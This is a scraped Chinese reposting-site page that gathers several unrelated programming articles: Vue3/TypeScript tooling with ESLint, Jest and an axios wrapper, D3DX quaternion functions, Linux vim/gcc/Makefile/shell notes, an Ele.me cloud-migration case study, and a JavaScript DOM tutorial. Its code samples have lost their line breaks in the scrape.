是否对于null情况做非空断言'@typescript-eslint/no-non-null-assertion': 0,// 是否对返回值类型进行定义校验'@typescript-eslint/explicit-function-return-type': 0,'@typescript-eslint/member-delimiter-style': ['error', { multiline: { delimiter: 'none' } }],// 结合eslint 'no-use-before-define': 'off',不然会有报错,需要关闭eslint这个校验,主要是增加了对于type\interface\enum'no-use-before-define': 'off','@typescript-eslint/no-use-before-define': ['error'],'@typescript-eslint/explicit-module-boundary-types': 'off','@typescript-eslint/no-unused-vars': ['error',{ignoreRestSiblings: true,varsIgnorePattern: '^_',argsIgnorePattern: '^_',},],'@typescript-eslint/explicit-member-accessibility': ['error', { overrides: { constructors: 'no-public' } }],'@typescript-eslint/consistent-type-imports': 'error','@typescript-eslint/indent': 0,'@typescript-eslint/naming-convention': ['error',{selector: 'interface',format: ['PascalCase'],},],// 不允许使用 var'no-var': 'error',// 如果没有修改值,有些用const定义'prefer-const': ['error',{destructuring: 'any',ignoreReadBeforeAssign: false,},],// 关于vue3 的一些语法糖校验// 超过 4 个属性换行展示'vue/max-attributes-per-line': ['error',{singleline: 4,},],// setup 语法糖校验'vue/script-setup-uses-vars': 'error',// 关于箭头函数'vue/arrow-spacing': 'error','vue/html-indent': 'off',},} 4、加入单元测试 单元测试,根据自己项目体量及重要性而去考虑是否要增加,当然单测可以反推一些组件 or 方法的设计是否合理,同样如果是一个稳定的功能在加上单元测试,这就是一个很nice的体验; 我们单元测试是基于jest来去做的,具体安装单测的办法如下,跟着我的步骤一步步来; 安装jest单测相关的依赖组件库 pnpm add @testing-library/vue @testing-library/user-event @testing-library/jest-dom @types/jest jest @vue/test-utils -D 安装完成后,发现还需要安装前置依赖 @testing-library/dom @vue/compiler-sfc我们继续补充 安装babel相关工具,用ts写的单元测试需要转义,具体安装工具如下pnpm add @babel/core babel-jest @vue/babel-preset-app -D,最后我们配置babel.config.js module.exports = {presets: ['@vue/app'],} 配置jest.config.js module.exports = {roots: ['<rootDir>/test'],testMatch: [// 这里我们支持src目录里面增加一些单层,事实上我并不喜欢这样做'<rootDir>/src//__tests__//.{js,jsx,ts,tsx}','<rootDir>/src//.{spec,test}.{js,jsx,ts,tsx}',// 这里我习惯将单层文件统一放在test单独目录下,不在项目中使用,降低单测文件与业务组件模块混合在一起'<rootDir>/test//.{spec,test}.{js,jsx,ts,tsx}',],testEnvironment: 'jsdom',transform: {// 此处我们单测没有适用vue-jest方式,项目中我们江永tsx方式来开发,所以我们如果需要加入其它的内容// '^.+\\.(vue)$': '<rootDir>/node_modules/vue-jest','^.+\\.(js|jsx|mjs|cjs|ts|tsx)$': '<rootDir>/node_modules/babel-jest',},transformIgnorePatterns: ['<rootDir>/node_modules/','[/\\\\]node_modules[/\\\\].+\\.(js|jsx|mjs|cjs|ts|tsx)$','^.+\\.module\\.(css|sass|scss|less)$',],moduleFileExtensions: ['ts', 'tsx', 'vue', 'js', 'jsx', 'json', 'node'],resetMocks: true,} 具体写单元测试的方法,可以参考项目模板中的组件单元测试写法,这里不做过多的说明; 5、封装axios请求库 这里呢其实思路有很多种,如果有自己的习惯的封装方式,就按照自己的思路,下面附上我的封装代码,简短的说一下我的封装思路: 1、基础的请求拦截、相应拦截封装,这个是对于一些请求参数格式化处理等,或者返回值情况处理 2、请求异常、错误、接口调用成功返回结果错误这些错误的集中处理,代码中请求就不再做trycatch这些操作 3、请求函数统一封装(代码中的 get、post、axiosHttp) 4、泛型方式定义请求返回参数,定义好类型,让我们可以在不同地方使用有良好的提示 import type { AxiosRequestConfig, AxiosResponse } from 'axios'import axios from 'axios'import { ElNotification } from 'element-plus'import errorHandle from './errorHandle'// 定义数据返回结构体(此处我简单定义一个比较常见的后端数据返回结构体,实际使用我们需要按照自己所在的项目开发)interface ResponseData<T = null> {code: string | numberdata: Tsuccess: booleanmessage?: string[key: string]: any}const axiosInstance = axios.create()// 设定响应超时时间axiosInstance.defaults.timeout = 30000// 可以后续根据自己http请求头特殊邀请设定请求头axiosInstance.interceptors.request.use((req: AxiosRequestConfig<any>) => {// 特殊处理,后续如果项目中有全局通传参数,可以在这儿做一些处理return req},error => Promise.reject(error),)// 响应拦截axiosInstance.interceptors.response.use((res: AxiosResponse<any, any>) => {// 数组处理return res},error => Promise.reject(error),)// 通用的请求方法体const axiosHttp = async <T extends Record<string, any> | null>(config: AxiosRequestConfig,desc: string,): Promise<T> => {try {const { data } = await axiosInstance.request<ResponseData<T>>(config)if (data.success) {return data.data}// 如果请求失败统一做提示(此处我没有安装组件库,我简单写个mock例子)ElNotification({title: desc,message: ${data.message || '请求失败,请检查'},})} catch (e: any) {// 统一的错误处理if (e.response && e.response.status) {errorHandle(e.response.status, desc)} else {ElNotification({title: desc,message: '接口异常,请检查',})} }return null as T}// get请求方法封装export const get = async <T = Record<string, any> | null>(url: string, params: Record<string, any>, desc: string) => {const config: AxiosRequestConfig = {method: 'get',url,params,}const data = await axiosHttp<T>(config, desc)return data}// Post请求方法export const post = async <T = Record<string, any> | null>(url: string, data: Record<string, any>, desc: string) => {const config: AxiosRequestConfig = {method: 'post',url,data,}const info = await axiosHttp<T>(config, desc)return info} 请求错误(状态码错误相关提示) import { ElNotification } from 'element-plus'function notificat(message: string, title: string) {ElNotification({title,message,})}/ @description 获取接口定义 @param status {number} 错误状态码 @param desc {string} 接口描述信息/export default function errorHandle(status: number, desc: string) {switch (status) {case 401:notificat('用户登录失败', desc)breakcase 404:notificat('请求不存在', desc)breakcase 500:notificat('服务器错误,请检查服务器', desc)breakdefault:notificat(其他错误${status}, desc)break} } 6、关于vue-router 及 pinia 这两个相对来讲简单一些,会使用vuex状态管理,上手pinia也是很轻松的事儿,只是更简单化了、更方便了,可以参考模板项目里面的用法example,这里附上router及pinia配置方法,路由守卫,大家可以根据项目的要求再添加 import type { RouteRecordRaw } from 'vue-router'import { createRouter, createWebHistory } from 'vue-router'// 配置路由const routes: Array<RouteRecordRaw> = [{path: '/',redirect: '/home',},{name: 'home',path: '/home',component: () => import('page/Home'),},]const router = createRouter({routes,history: createWebHistory(),})export default router 针对与pinia,参考如下: import { createPinia } from 'pinia'export default createPinia() 在入口文件将router和store注入进去 import { createApp } from 'vue'import App from './App'import store from './store/index'import './style/index.css'import './style/index.scss'import 'element-plus/dist/index.css'import router from './router'// 注入全局的storeconst app = createApp(App).use(store).use(router)app.mount('app') 说这些比较枯燥,建议大家去github参考项目说明文档,下载项目,自己过一遍,喜欢的朋友收藏点赞一下,如果喜欢我构建好的项目给个star不丢失,谢谢各位看官的支持。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_37764929/article/details/124860873。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-05 12:27:41
117
转载
转载文章
...个方向的平滑、合理的路径。因此,在q1和q2间插值提供了一个从一个方向变化到另一个方向的简单方法。 当同时使用合成与插值时,四元数提供了一个看似复杂而实际简单的操作几何体的方法。例如,设想我们希望把一个几何体旋转到某个给定方向。我们已经知道希望将它绕axis2轴旋转r2度,然后绕axis1轴旋转r1度,但是我们不知道最终的四元数。通过使用合成,我们可以在几何体上合成两个旋转并得到最终单个的四元数。然后,我们可以在原始四元数和合成的四元数间进行插值,得到两者之间的平滑转换。 Direct3D扩展(D3DX)工具库包含了帮助用户使用四元数的函数。例如,D3DXQuaternionRotationAxis函数给一个定义旋转轴的向量增加一个旋转值,并在由D3DXQUTERNION结构定义的四元数中返回结果。另外,D3DXQuaternionMultiply函数合成四元数,D3DXQuaternionSlerp函数在两个四元数间进行球面线性插值(spherical linear interpolation)。 Direct3D应用程序可以使用下列函数简化对四元数的使用。 D3DXQuaternionBaryCentric D3DXQuaternionConjugate D3DXQuaternionDot D3DXQuaternionExp D3DXQuaternionIdentity D3DXQuaternionInverse D3DXQuaternionIsIdentity D3DXQuaternionLength D3DXQuaternionLengthSq D3DXQuaternionLn D3DXQuaternionMultiply D3DXQuaternionNormalize D3DXQuaternionRotationAxis D3DXQuaternionRotationMatrix D3DXQuaternionRotationYawPitchRoll D3DXQuaternionSlerp D3DXQuaternionSquad D3DXQuaternionToAxisAngle Direct3D应用程序可以使用下列函数简化对三成员向量的使用。 D3DXVec3Add D3DXVec3BaryCentric D3DXVec3CatmullRom D3DXVec3Cross D3DXVec3Dot D3DXVec3Hermite D3DXVec3Length D3DXVec3LengthSq D3DXVec3Lerp D3DXVec3Maximize D3DXVec3Minimize D3DXVec3Normalize D3DXVec3Project D3DXVec3Scale D3DXVec3Subtract D3DXVec3Transform D3DXVec3TransformCoord D3DXVec3TransformNormal D3DXVec3Unproject D3DX工具库提供的数学函数中包含了许多辅助函数,可以简化对二成员和四成员向量的使用 http://www.gesoftfactory.com/developer/3DCS.htm 本篇文章为转载内容。原文链接:https://blog.csdn.net/okvee/article/details/3438011。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-24 12:49:42
272
转载
转载文章
...源文件一定要使用绝对路径给出,(硬连接无此要求) 软连接文件直接用cp复制到别的目录下,软连接文件就会变成实体文件,就算你把源文件删掉,该文件还是有效 正确的复制、移动软连接的用法是:cp -d 如果不用绝对路径,cp -d 软连接文件到别的目录,该软连接文件就会变红,失效 如果用了绝对路径,cp -d 软连接文件到别的目录,该软连接文件还是有效的,还是软连接文件 不用绝对路径,一拷贝就会出问题 – 软连接一个目录,也是可以用cp -d复制到其他位置的 – gedit 是基于图形界面的 vim有三种模式: 1、一般模式:默认模式,用vim打开一个文件就自动进入这个模式 2、编辑模式:按 i,a等进入,按esc回到一般模式 3、命令行/底行模式:在一般模式下输入:/ ?可进入命令行模式 ,按esc回到一般模式 一般模式下,dd删除光标所在的一整行; ndd,删除掉光标所在行和下面的一共n行 点 . 重复上一个操作 yy复制光标所在行 小p复制到光标下一行 大p复制到光标上一行n nyy复制光标所在往下n行 设置vim里的tab是四个空格:在/etc/vim/vimrc里面添加:set ts=4 设置vim中显示行号:在上面那个文件里添加:set nu – vscode是编辑器 gcc能编译汇编,c,cpp 电脑上的ubuntu自带的gcc用来编译x86架构的程序,而嵌入式设备的code要用针对于该芯片架构如arm的gcc编译器,又叫做交叉编译器(在一种架构的电脑上编译成另一种架构的代码) gcc -c 源文件:只编译不链接,编译成.o文件 -o 输出文件名( 默认名是 .out ) -O 对程序进行优化编译,这样产生的可执行文件执行效率更高 -O2:比-O幅度更大的优化,但编译速度会很慢 -v:显示编译的过程 gcc main.c 输出main.out的可执行文件 预处理 --> 编译 --> 汇编 --> 链接 – makefile里第一个目标默认是终极目标 其他目标的顺序可以变 makefile中的变量都是字符串 变量的引用方法 : $ ( 变量名 ) – Makefile中执行shell命令默认会把命令本身打印出来 如果在shell命令前加 @ ,那么shell’命令本身就不会被打印 – 赋值符:= 变量的有效值取决于他最后一次被赋值的值 : = 赋值时右边的值只是用前面已经定义好的,不会使用后面的 ?= 如果左边的前面没有被赋值,那么在这里赋值,佛则就用前面的赋值 + = 左边前面已经复制了一些字串,在这里添加右边的内容,用空格隔开 – 模式规则 % . o : % . c %在这里意思是通配符,只能用于模式规则 依赖中 % 的内容取决于目标 % 的内容 – CFLAGS:指定头文件的位置 LDFLAGS:用于优化参数,指定库文件的位置 LIBS:告诉链接器要链接哪些库文件 VPATH:特殊变量,指定源文件的位置,冒号隔开,按序查找源文件 vpath:关键字,三种模式,指定、清除 – 自动化变量 $ @ 规则中的目标集合 $ % 当目标是函数库的时候,表示规则中的目标成员名 $ < 依赖文件集合中的第一个文件,如果依赖文件是以 % 定义的,那么 $ < 就是符合模式的一系列文件的集合 $ ? 所有比目标新的依赖文件的集合,以空格分开 $ ^ 所有依赖文件的集合,用空格分开,如果有重复的依赖文件,只保留一次 $ + 和 $ ^ 类似,但有多少重复文件都会保留 $ 表明目标模式中 % 及其以前的部分 如果目标是 test/a.test.c,目标模式是 a.%.c,那么 $ 就表示 test/a.test – 常用的是 $@ , $< , $^ – Makefile的伪目标 不生成目标文件,只是执行它下面的命令 如果被错认为是文件,由于伪目标一般没有依赖,那么目标就被认为是最新的,那么它下面的命令就不会执行 。 如果目录下有同名文件,伪目标错认为是该文件,由于没有依赖,伪目标下面的指令不会被执行 伪目标声明方法 .PHONY : clean 那么就算目录下有伪目标同名文件,伪目标也同样会执行 – 条件判断 ifeq ifneq ifdef ifndef – makefile函数使用 shell脚本 类似于windoes的批处理文件 将连续执行的命令写成一个文件 shell脚本可以提供数组,循环,条件判断等功能 开头必须是:!/bin/bash 表示使用bash 脚本的扩展名:.sh – 交互式shell 有输入有输出 输入:read 第三行 name在这里作为变量,read输入这个变量 下一行使用这个变量直接是 $name,不用像 Makefile 里面那样子加括号 read -p “读取前你想打印的内容” 变量1 变量2 变量3… – 数值计算 第五行等于号两边不能有空格 右边计算的时候是 $( ( ) ),注意要两个括号 – test 测试命令 文件状态查询,字符、数字比较 && cmd1 && cmd2 当cmd1执行完并且正确,那么cmd2也执行 当cmd2执行完并且错误,那么cmd2不执行 || cmd1 || cmd2 当cmd1执行完并且正确,那么cmd2不执行 当cmd2执行完并且错误,那么cmd2也执行 查看一个文件是否存在 – 测试两个字符串是否相等 ==两边必须要有空格,如果不加空格,test这句就一直是对的。 – 中括号判断符 [ ] 作用和test类似 里面只能输入 == 或者 != 四个箭头所指必须用空格隔开 而且如果变量是字符串的话,一定要加双引号 – 默认变量 $0——shell脚本本身的命令 $——最后一个参数的标号(1,2,3,4…) $@——表示 $1 , $2 , $3 … $1 $2 $3 – shell 脚本的条件判断 if [ 条件判断 ];then //do something fi 红点处都要加空格 exit 0——表示退出 – if 条件判断;then //do something elif 条件判断;them //do something else //do something fi 红线处要加空格 – case 语句 case $var in “第一个变量的内容”) //do something ;; “第二个变量的内容”) // do something ;; . . . “第n个变量的内容”) //do something ;; esac 不能用 “”,否则就不是通配符的意思,而是表示字符 – shell 脚本函数 function fname(){ //函数代码段 } 其中function可以写也可以不写 调用函数的时候不要加括号 shell 脚本函数传参方式 – shell 循环 while[条件] //括号内的状态是判断式 do //循环代码段 done – until [条件] do //循环代码段 done – for循环,使用该循环可以知道有循环次数 for var con1 con2 con3 … … do //循环代码段 done – for 循环数值处理 for((初始值;限制值;执行步长)) do //循环代码段 done – 红点处必须要加空格!! loop 环 – – 注意变量有的地方用了 $ ,有的地方不需要 $ 这里的赋值号两边都不用加 空格 $(())数值运算 本篇文章为转载内容。原文链接:https://blog.csdn.net/engineer0/article/details/107965908。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-23 17:18:30
81
转载
转载文章
...单配送时效性差等现实问题,而阿里云通过智能派单系统,基于海量历史订单数据、餐厅数据、骑手数据、用户数据等信息实现智能派单,逐步替代调度员的大部分工作。智能派单系统整体全面上线后将释放90%以上人工派单的人力,每年节省人力支出预计超过亿元。 饿了么的IT系统架构伴随业务量飙升,进行了三次重大升级。 1)起步期(2009至2013年):饿了么由上海交通大学创始团队起家,发展至35人规模,日订单量维持在十万量级,由“IDC+Python”技术组合支撑业务运营,但面临Python人才难觅等困扰。 2)成长期(2014年至2015年):14年8至9月短短2个月内日均订单量增长10倍,从10万迅猛飙升至100万,业务规模主攻全国200个城市,原有IT系统架构压力极大,依靠人肉运维举步维艰,故障波动影响业务,创始人与核心技术团队坚守机房运维一线,才勉强扛住100万量级业务订单。开始借鉴阿里淘宝架构模式,人员团队也涨至500人,技术生态从Python扩展至“Java+Python”开发体系,从“人肉”支撑百万订单运营到自动化运维,并筹备同城异地容灾体系。 3)规模期(2015年至2017年):2015年7至8月,日均订单量从200万翻倍,以往积压的问题都暴露出来,技术架构面临大考验,坚定了架构上云的方案,团队扩展至1000人,架构要承载数百万量级业务时,出现峰值成本、灾备切换、IDC远程运维等种种挑战,全面战略转型采用“IDC+云计算”的混合云架构。在2016年12月25日圣诞节日订单量迎来前所未有的900万单,因此在技术架构上探索多活部署等创新性研发。 为什么选择架构转型上云?据饿了么CTO张雪峰先生所说,技术架构从IDC经典模式发展至混合云模式,主要原因是三个关键因素让管理层下定决心上云: 1) 脉冲计算:从技术架构配套业务发展分析,网络订餐业务具有明显的“脉冲计算”特征,在每日上午10:00至13:00、晚间16:00至19:00业务高峰值出现,而其他时间则业务量很低,暑假是业务高峰季,2016年5.17大促,饿了么第一次做“秒杀”,一秒订单15000笔,巨大的波峰波谷计算差异,引发了自建数据中心容量不可调和的两难处境,如果大规模投入服务器满足6小时的高峰业务量,则其余18个小时的业务低谷计算资源闲置,若满足平均业务量,则无法跟上业务快速发展节奏,落后于竞争对手;搞电商大促时,计算资源投入巨大,大促之后计算峰值下降,采用自建机房利用率仅10%,所以技术团队摸索出用云计算扛营销大促峰值的新模式,采用混合云架构满足 “潮汐业务”峰值计算,阿里云海量云计算资源弹性随需满足巨大的脉冲计算力缺口,这与每年“双11” 淘宝引入阿里云形成全球最大混合云架构具有异曲同工的创新价值。 2) 数据量爆炸:伴随饿了么近五年业务量呈几何级数的爆发式发展,数据量增速更加令人吃惊,是业务量增速的5倍,每日增量数据接近100TB,2015年短短2个月内业务量增长10倍,数据量增长了50倍,上海主生产机房不堪重负。30GB的DDoS攻击对业务系统造成较大风险,上云成为承载大数据、抗网络攻击的好方法。 3) 高可用性挑战:众所周知,IDC自建系统运维要承担从底层硬件到上层应用的“全栈运维”运营能力与维修能力,当2015年夏天上海数据中心故障发生,主核心交换机宕机时,备核心交换机Bug同时被触发,从事故发生到硬件厂商携维修设备打车赶往现场维修的整个过程中,饥饿的消费者无法订餐吃饭,技术团队第一次经历业务中断而束手无策,才下定决心大笔投入混合云灾备的建设,“吃一堑,长一智”,持续向淘宝学习电商云生产与灾备架构,以自动化运维替代人肉运维,从灾备向多活演进,成为饿了么企业架构转型的必经之路。 4) 大数据精益运营:不论网络打车还是网络订餐,共享服务平台脱颖而出的关键成功要素是智能调度算法,以大数据训练算法提升调度效率,饿了么在高峰时段内让百万“骑士”(送餐快递员)完成更多订单是算法持续优化的目标,而这背后隐藏着诸多复杂因素,包括考虑餐厅、骑士、消费者三者的实时动态位置关系,把新订单插入现有“骑士”的行进路线中,估计每家餐厅出餐时间,每个骑手的行进速度、道路熟悉程度各不相同,新老消费者获客成本、高价低价订单的优先级皆不相同。种种考量因素合并到一起,对于人类调度员来说,每天中午和晚上的高峰都是巨大的挑战。以上海商城路配送站为例,一个调度员每6秒钟就要调度1单,他需要考虑骑手已有订单量、路线熟悉度等。因此可以说,这份工作已经完全不适合人类。但对人工智能而言,阿里云ET则非常擅长处理这类超复杂、大规模、实时性要求高的“非人”问题。 饿了么是中国最大的在线外卖和即时配送平台,日订单量900万单、180万骑手、100万家餐饮店,既是史无前例的计算存储挑战,又是人无我有的战略发展机遇。饿了么携手阿里云人工智能团队,通过海量数据训练优化全球最大实时智能调度系统。在基础架构层,云计算解决弹性支撑业务量波动的基础生存问题,在数据智能层,利用大数据训练核心调度算法、提升餐饮店的商业价值,才是业务决胜的“技术神器”。 在针对大数据资源的“专家+机器”运营分析中,不断发现新的特征: 1) 区域差异性:饿了么与阿里云联合研发小组测试中发现有2个配送站点出现严重超时问题。后来才知道:2个站点均在成都,当地人民喜欢早、中餐一起吃,高峰从11点就开始了。习惯了北上广节奏的ET到成都就懵了。据阿里云人工智能专家闵万里分析:“不存在一套通用的算法可以适配所有站点,所以我们需要让ET自己学习或者向人类运营专家请教当地的风土人情、饮食习惯”。除此之外,饿了么覆盖的餐厅不仅有高大上的连锁店,还有大街小巷的各类难以琢磨的特色小吃,难度是其他智能调度业务的数倍。 2) 复杂路径规划:吃一口热饭有多难?送餐路径规划比驾车出行路径规划难度更高,要考虑“骑士”地图熟悉程度、天气状况、拼单效率、送餐顺序、时间对客户满意度影响、送达写字楼电梯等待时间等各种实际情况,究竟ET是如何实现智能派单并确保效率最优的呢?简单来说,ET会将配送站新接订单插入到每个骑手已有的任务中,重新规划一轮最短配送路径,对比哪个骑手新增时间最短。为了能够准确预估新增时间,ET需要知道全国100万家餐厅的出餐速度、超过180万骑手各自的骑行速度、每个顾客坐电梯下楼取餐的时间。一般来说,餐厅出餐等待时间占到了整个送餐时间的三分之一。ET要想提高骑手效率,必须准确预估出餐时间以减少骑手等待,但又不能让餐等人,最后饭凉了。饿了么旗下蜂鸟配送“准时达”服务单均配送时长缩短至30分钟以内。 3) 天气特殊影响:天气等环境因素对送餐响应时间影响显著,要想计算骑手的送餐路程时间,ET需要知道每个骑手在不同区域、不同天气下的送餐速度。如果北京雾霾,ET能看见吗?双方研发团队为ET内置了恶劣天气的算法模型。通常情况下,每逢恶劣天气,外卖订单将出现大涨,对应的餐厅出餐速度和骑手骑行速度都将受到影响,这些ET都会考虑在内。如果顾客在下雪天点个火锅呢?ET也知道,将自动识别其为大单,锁定某一个骑手专门完成配送。 4) 餐饮营销顾问:饿了么整体业务涉及C端(消费者)、B端(餐饮商户)、D端(物流配送)、BD端(地推营销),以往区域业务开拓考核新店数量,现在会重点关注餐饮外卖“健康度”,对于营业额忽高忽低、在线排名变化的餐饮店,都需要BD专家根据大数据帮助餐饮店经营者找出原因并给出解决建议,避免新店外卖刚开始就淹没在区域竞争中,销量平平的新店会离开平台,通过机器学习把餐饮运营专家的经验、以及人看不到的隐含规律固化下来,以数据决策来发现餐饮店经营问题、产品差异定位,让餐饮商户尝到甜头,才愿意继续经营。举个例子,饿了么员工都喜欢楼下一家鸡排店的午餐,但大数据发现这家店的外卖营收并不如实体店那么火爆,9元“鸡排+酸梅汁”是所有人都喜欢的爆款产品,可为什么同样菜品遭遇“线下火、线上冷”呢?数据预警后,BD顾问指出线上外卖鸡排产品没有写明“含免费酸梅汁一杯”的关键促销内容,导致大多数外卖消费者订一份鸡排一杯酸梅汁,却收到一份鸡排两杯酸梅汁,体验自然不好。 饿了么是数据驱动、智能算法调度的自动化生活服务平台,通过O2O数据的在线实时分析,与阿里云人工智能团队不断改进算法,以“全局最优”取代“局部最优”,保证平台上所有餐饮商户都能享受到数据智能的科技红利。 “上云用数”的外部价值诸多,从饿了么内部反馈来看,上云不仅没有让运维团队失去价值,反而带来了“云原生应用”(Cloud Native Application)、“云上多活”、“CDN云端压测”、“安全风控一体化”等创新路径与方案,通过敏捷基础设施(IaaS)、微服务架构(PaaS和SaaS)、持续交付管理、DevOps等云最佳实践,摆脱“人肉”支撑的种种困境,进而实现更快的上线速度、细致的故障探测和发现、故障时能自动隔离、故障时能够自动恢复、方便的水平扩容。饿了么CTO张雪峰先生说:“互联网平台型组织,业务量涨数倍,企业人数稳定降低,才是技术驱动的正确商业模式。” 在不久的将来,你每天订餐、出行、娱乐、工作留下的大数据,会“驯养”出无处不在、无所不能的智能机器人管家,家庭助理帮你点菜,无人机为你送餐,聊天机器人接受你的投诉……当然这个无比美妙的“未来世界”背后,皆有阿里云的数据智能母体“ET”。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_34126557/article/details/90592502。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-31 14:48:26
344
转载
转载文章
...点击了图片的时候图片路径就发生变化 这里的.表示 的 得意思 img对象下的src属性img.src = './images/zxy.jpg';// 当我们变换图片得同时里面得title也要跟着变 所以前面要加上img.img.title = '张学友';}ldh.onclick = function() {img.src = './images/ldh.jpg';img.title = '刘德华';}</script> 3.操作表单元素属性 利用DOM可以操作如下表单元素的属性 type、value、checked、selected、disabled 代码演示: <body><button>按钮</button><input type="text" value="输入内容"><script>// 我想把value里面的输入内容改变为 被点击了// 1.获取元素var but = document.querySelector('button')var input = document.querySelector('input')// 2.注册事件 处理程序but.onclick = function() {// input.innerHTML = '被点击了'; 这个是 普通盒子 比如 div 标签里面的内容// 表单里面的值 文字内容是通过value来修改的input.value = '被点击了'// 如果需要某个表单被禁用 不能再点击了使用 disabled 我们想要这个按钮 button禁用// but.disabled = true// 还有一种写法// this指向的是事件函数的调用者 谁调用就指向谁 这里调用者是btnthis.disabled = true}</script></body> 4.操作元素样式属性 我们可以通过 JS 修改元素的大小、颜色、位置等样式。 1.element.style 行内样式操作 注意: JS 里面的样式采取驼峰命名法 比如 fontSize、 backgroundColor JS 修改 style 样式操作,产生的是行内样式,所以行内式比内嵌式高 代码演示 <style>div {width: 200px;height: 200px;background-color: red;}</style></head><body><div></div><script>// 要求点击div变成粉色 height变为250px// 1.获取元素var div = document.querySelector('div');// 2.注册事件 处理程序div.onclick = function() {// div.style里面的属性 采取的是驼峰命名法// this等于div this调用者 谁调用谁执行this.style.backgroundColor = 'pink'this.style.height = '250px'}</script> 2.element.className 类名样式操作 注意: 如果样式修改较多,可以采取操作类名方式更改元素样式。 class因为是个保留字,因此使用className来操作元素类名属性 className 会直接更改元素的类名,会覆盖原先的类名。 代码演示 <style>div {width: 100px;height: 100px;background-color: pink;}.change {background-color: purple;color: fff;font-size: 25px;margin-top: 100px;}</style></head><body><div class="first">文本</div><script>// 1. 使用 element.style 获得修改元素样式 如果样式比较少 或者 功能简单的情况下使用var test = document.querySelector('div');test.onclick = function() {// this.style.backgroundColor = 'purple';// this.style.color = 'fff';// this.style.fontSize = '25px';// this.style.marginTop = '100px';// 让我们当前元素的类名改为了 change// 2. 我们可以通过 修改元素的className更改元素的样式 适合于样式较多或者功能复杂的情况 如果想继续添加样式即在change添加即可// 3. 如果想要保留原先的类名,我们可以这么做 多类名选择器// this.className = 'change';this.className = 'first change';}</script> 5.自定义属性的操作 js给我们规定了可以自己添加属性 在操作元素属性的时候,元素.语法只能操作元素天生具有的属性,如果是自定义的属性,通过.语法是无法操作的只能通过getAttribute和setAttribute去操作,他俩是通用的方法,无论元素天生的还是自定义的都可以可以操作 1.获取属性值 element.属性 获取属性值。 element.getAttribute(‘属性’); 区别: element.属性 获取内置属性值(元素本身自带的属性 如果是自定义属性不能被获取) element.getAttribute(‘属性’);主要获得自定义的属性 (标准) 我们自定义的属性 2.设置属性值 element.属性 = ‘值’ 设置内置属性值 element.setAttribute(‘属性’,‘值’) 区别: element.属性 设置内置属性值 element.setAttribute(‘属性’);主要设置自定义的属性(标准) 3.移除属性 element.removeAttribute(‘属性’); 代码演示 <body><div id="demo" index="1" class="nav"></div><script>var div = document.querySelector('div');// 1.获取元素的属性值// (1) element.属性console.log(div.id);// (2) element.getAttribute('属性') get获取得到 attribute属性的意思 我们自己添加的属性称之为自定义属性console.log(div.getAttribute('id')); //democonsole.log(div.getAttribute('index')); // 1// 2.设置元素的属性值// (1) element.属性 = '值' div.id = 'test'div.className = 'navs'// (2) element.setAttribute('属性','值')div.setAttribute('index', 2);div.setAttribute('class', 'footer') //这里就是class 不是className 比较特殊// 3.移除属性 removeAttribute(属性)div.removeAttribute('index');</script></body> 只要是自定义属性最好都是用element.setAttribute(‘属性’,‘值’)来设置 如果是自带属性用element.属性来设置 6.H5自定义属性 自定义属性的目的:第一、是为了保存属性 第二、并且使用数据。有一些数据可以保存到页面中而不用保存到数据库中。 自定义属性获取是通过getAttribute(‘属性’) 获取的 但是有些自定义属性很容易引起歧义,不容易判断是元素还是自定义属性 H5给我们新增了自定义属性: 1.设置H5自定义属性 H5规定自定义属性data-开头做为属性名并且赋值 比如<div data-index:“1”> 或者使用JS设置element.setAttribute(‘deta-index’,2) 2.获取H5自定义属性 兼容性获取 element.getAttribute(‘data-index’) 推荐开发中使用这个 H5新增element.dataset.index 或者element.datase[‘index’] ie 11以上才支持 代码演示 <body><div getTime="10" data-index="20" data-name-list="40"></div><script>// 获取元素var div = document.querySelector('div');console.log(div.geTime); //undefined getTime是自定义属性不能直接通过元素的属性来获取 而是用自定义属性来获取的getAttribute(‘属性’)console.log(div.getAttribute('getTime')); //10// H5添加自定义属性的写法以data-开头div.setAttribute('data-time', 30)// 1.兼容性获取H5自定义属性console.log(div.getAttribute('data-time')); // 30// 2.H5新增的获取自定义属性的方法 它只能获取data-开头的// dataset 是一个集合的意思存放了所有以data开头的自定义属性 如果你想取其中的某一个只需要在dataset.的后面加上自定义属性名即可console.log(div.dataset);console.log(div.dataset.time); // 30// 还有一种方法dataset['属性']console.log(div.dataset['time']); // 30// 如果自定义属性里面有多个-链接的单词 我们获取的时候采取驼峰命名法 不用要-了console.log(div.dataset.nameList); // 40console.log(div.dataset['nameList']); // 40</script></body> 五.节点操作 1.为什么要学习节点操作 获取元素通常使用俩种方式 (1)利用DOM提供的方法获取元素 但是逻辑性不强 繁琐 (2)利用节点层级关系获取元素 如 利用父子,兄弟关系获取元素 逻辑性强,但是兼容性不怎么好 2.节点概述 网页中的所有内容都是节点(标签、属性、文本、注释等等) ,在DOM中,节点使用node表示。HTML DOM 树中的所有节点均可通过javascript进行访问,所有HTML元素(节点) 均可被修改,也可以创建或删除 一般地,节点至少拥有nade Type(节点类型)、nodeName(节点名称)和nodeValue(节点值) 这三个基本属性 元素节点 nodeType 为 1 属性节点 node Name为 2 文本节点 nodeValue为 3 (文本节点包含文字、空格、换行等等) 实际开发中,节点操作主要操作的是元素节点 3.节点层级 利用DOM树可以把节点划分为不同得层级关系,常见得是父子兄层级关系 